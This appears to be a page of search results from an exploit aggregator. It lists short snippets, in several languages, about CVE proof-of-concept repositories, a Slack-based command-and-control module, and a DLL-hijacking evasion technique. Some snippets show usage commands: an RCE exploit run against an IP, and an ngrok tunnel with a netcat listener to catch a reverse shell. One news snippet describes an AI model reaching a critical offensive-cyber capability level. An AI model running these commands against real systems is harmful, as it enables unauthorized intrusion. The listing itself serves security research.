1134939 matches found
CVE-2026-80190
Apache Allura versions through 1.20.0 are affected by a stored cross-site scripting (XSS) vulnerability in SVN code repositories . Git repositories are not known to be affected. The vulnerability is likely mitigated by default CSP (Content Security Policy) headers . The CVSS 3.1 score is 6.1 (Med...
CVE-2026-80190 Apache Allura: Stored XSS via code repositories
Apache Allura: stored XSS via SVN code repositories. Git repositories are not known to be affected. The vulnerability is likely mitigated via default CSP headers. This issue affects Apache Allura: through 1.20.0. Users are recommended to upgrade to version 1.21.0, which fixes the issue...
cve-2020-8165-demo
CVE-2020-8165 デモ CVE-2020-8165 のもう一つのデモですが、大半のものより現実的な実装になっています。 背景 CVE-2020-8165 信頼されていないデータのデシリアライゼーションの脆弱性が rails 5.2.4.3、rails 6.0.3.1 に存在し、攻撃者が MemCacheStore および RedisCacheStore 内のユーザー指定オブジェクトをアンマーシャルできる可能性があり、結果として RCE につながる可能性があります。 参考文献 https://hackerone.com/reports/413388...
oss-fuzz-gen
模糊测试目标生成与评估框架 该框架利用各种大型语言模型（LLM）为真实世界的 C/C++/Java/Python 项目生成模糊测试目标，并通过 OSS-Fuzz 平台 对它们进行基准测试。 更多详情请参阅 AI 驱动的模糊测试：打破漏洞挖掘壁垒： 当前支持的模型有： Vertex AI code-bison Vertex AI code-bison-32k Gemini Pro Gemini Ultra Gemini Experimental Gemini 1.5 OpenAI GPT-3.5-turbo OpenAI GPT-4 OpenAI GPT-4o OpenAI...
CVE-2023-27350
CVE-2023-27350 影响 PaperCut MF/NG 的 CVE-2023-27350 概念验证代码 技术分析 关于漏洞的技术根本原因分析、入侵指标以及互联网暴露情况，可查阅我们的博客： https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise 摘要 该概念验证代码利用认证绕过漏洞，并结合滥用内置脚本功能来执行代码。 使用方法 root@kitploit: python3 CVE-2023-27350.py --url...
cve-2019-6340-bits
cve-2019-6340-bits Bits generated while analyzing CVE-2019-6340 Drupal RESTful RCE modsec rule pcap example nginx config example logs example playbook...
CVE-2019-15107-Exploit
CVE-2019-15107 Python 利用工具 此利用工具针对 CVE-2019-15107（Webmin 1.890-1.920）未经授权的远程代码执行（RCE） ，使用 Python 编写。 使用方法 root@kitploit: python3 webminExploit.py python3 webminExploit.py 10.200.198.200 10000 whoami python3 webminExploit.py 10.200.198.200 10000 "curl -h"...
winsos-poc
WinSOS 该技术利用 WinSxS 文件夹中通常受 Windows 信任的可执行文件，来利用经典的 DLL 搜索顺序劫持方法。借助这些可执行文件，威胁行为者可以在无需提升权限的情况下，在 Windows 应用程序内执行恶意代码。 这种方法无需在攻击链中引入额外的二进制文件，并支持从任意位置执行恶意代码。它同时兼容 Windows 10 和 Windows 11，并且能够规避防御软件和应急响应人员的检测，因为恶意代码运行在受信任二进制文件的内存空间中。该技术简化了经典的 DLL 搜索顺序劫持，并利用了 Windows 原生功能，而无需直接利用操作系统漏洞。 参考资料 Windows...
CVE-2023-22527-confluence
CVE-2023-22527-confluence Confluence CVE-2023-22527 実世界のPoC 使用方法 bunをダウンロード https://github.com/oven-sh/bun/releases ngrokを起動 root@kitploit: ngrok tcp 4444 localhost 4444で待ち受け root@kitploit: nc -nvlp 4444 エクスプロイトを実行 root@kitploit: bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 121...
FastJsonAutoTypeBypass
これは何ですか このプロジェクトは、fastJSONのAutoTypeチェックをバイパスする方法を研究するためのものです。 ガジェット情報 マッピング fastjson 1.2.47のみに適用： root@kitploit: package com.FastJson1242; import com.alibaba.fastjson.JSONObject; public class Poc public static void mainString argv String payload ="\n" + " "a": \n" + " "@type":...
WSO2-2021-1258
WSO2-2021-1258: WSO2 ESB 中的 Zip Slip 漏洞 在 WSO2 管理控制台中发现了一个基于 ZIP 文件的目录遍历（Zip Slip）漏洞。通过写入/覆盖特定文件，可能实现远程代码执行。 厂商披露: 该漏洞的厂商披露和修复说明可在此处找到。 为什么没有 CVE? 我和厂商都没有为此漏洞申请 CVE。 要求: 此漏洞需要： 有效的用户凭据 概念验证: 更多细节和利用过程可参见此 PDF。...
Spring4Shell-PoC-exploit
Spring4Shell - PoC CVE - 2022 - 22965 Versiones afectadas : Versiones de Spring Framework 5.3.0 a 5.3.17, 5.2.0 a 5.2.19 y versiones anteriores Java JDK 9 Versiones de Apache Tomcat inferiores a 10..0.20, 9.0.62 y 8.5.78 Las aplicaciones empaquetadas como un WAR tradicional con dependencia...
CVE-2025-8110-Gogs-Remote-Code-Execution
受影响软件：Gogs（自托管Git服务）0.13.0版本之前。 漏洞类型：Git钩子机制中的命令注入。 描述：拥有仓库推送权限的攻击者可以构造恶意的Git钩子，将命令注入到post-receive钩子脚本中，从而导致在Gogs服务器上远程执行代码。...
CVE-2025-61882-Oracle-BI-Publisher-RCE
影響を受けるソフトウェア：Oracle BI Publisher バージョン 12.2.1.4.0、12.2.1.3.0。 脆弱性の種類：BI Publisher 統合コンポーネントにおける安全でないデシリアライゼーションによるリモートコード実行。 説明：BI Publisher 統合コンポーネントは、検証なしに信頼できないデータをデシリアライズするため、認証されていない攻撃者が基盤となるサーバー上で任意のコードを実行できる可能性があります。...
SlackShell
SlackShell 描述与更新日志 v1.0 此PowerShell模块包含多种利用Slack API创建命令与控制通道的函数。主函数Start-Shell会连接至用户指定的Slack频道，并使用提供的API认证令牌对指定Slack团队和用户进行身份验证。频道中输入的任何命令都将在主机上的PowerShell中执行。 SlackShell项目需要PowerShell v3及以上版本，因为其使用Invoke-RestMethod进行API调用。未来开发将继续使用当前PowerShell...
CVE-2025-55182-React2Shell-CVSS-10.0-
Software afectado: React Server Components versiones 19.0.0, 19.1.0, 19.1.1, 19.2.0 Tipo de vulnerabilidad: Ejecución remota de código previa a la autenticación mediante deserialización insegura. Descripción: Una falla en el protocolo React Server Flight permite a atacantes no autenticados enviar...
Watchguard-RCE-POC-CVE-2022-26318
Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 El CVE para este problema es CVE-2022-26318...
GPT-6 Astra Scores 100% on ExploitBench as OpenAI Blocks PoC Exploit Requests
OpenAI on Thursday officially unveiled GPT‑6 Astra , which it described as the "world's most intelligent and aligned model." The development comes days after the artificial intelligence AI company said the model had reached the "Critical" cybersecurity capability threshold under its Preparedness...
CVE-2022-30190
CVE-2022-30190 Este repositorio habla sobre el Follina MSDT desde la perspectiva de Defender Índice Acerca de Cronología Entendiendo el Exploit Lista de IOCs Estrategia de Detección Pruebas e Investigación Planes de Mitigación Referencias About El bug es una vulnerabilidad de ejecución remota de...